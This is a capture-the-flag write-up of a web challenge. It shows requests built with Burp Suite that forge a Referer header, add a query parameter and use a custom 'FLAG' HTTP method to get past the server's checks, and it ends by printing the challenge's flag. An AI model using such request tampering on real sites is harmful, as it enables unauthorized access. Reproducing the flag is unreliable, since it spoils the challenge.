Navigating to the website gives a page with the message:

`You are not coming from "http://flagland.internal/".`

This looks like it'a reference to the `Referer` header. More info on this header here: <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer>

Using Burp Suite we can tamper with the request and include the header `Referer: http://flagland.internal/` in the request

```http
GET / HTTP/1.1
Host: 18.184.219.56:8080
Referer: http://flagland.internal/

```

That request gives us a new page with the message in the content:

`<div class="msg" style="">Unspecified "secret".</div>`

This could be a clue to use a query parameter in the url. Let's modify the request to include it and set the query parmeter

```http
GET /?secret HTTP/1.1
Host: 18.184.219.56:8080
Referer: http://flagland.internal/

```

Bingo! This gives us another clue

```html
<div class="msg" style="">
Incorrect secret.
</div>
```

The protocol being used is `http` so let's set the value of the `secret` query parameter to `secret=http`

```html
<div class="msg" style="">
Sorry we don't have "GET" here but we might have other things like "FLAG".
</div>
```

Another clue. Let's change the GET in the request to FLAG

```http
FLAG /?secret=http HTTP/1.1
Host: 18.184.219.56:8080
Referer: http://flagland.internal/

```

And this last request gets us the flag!

`MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f}`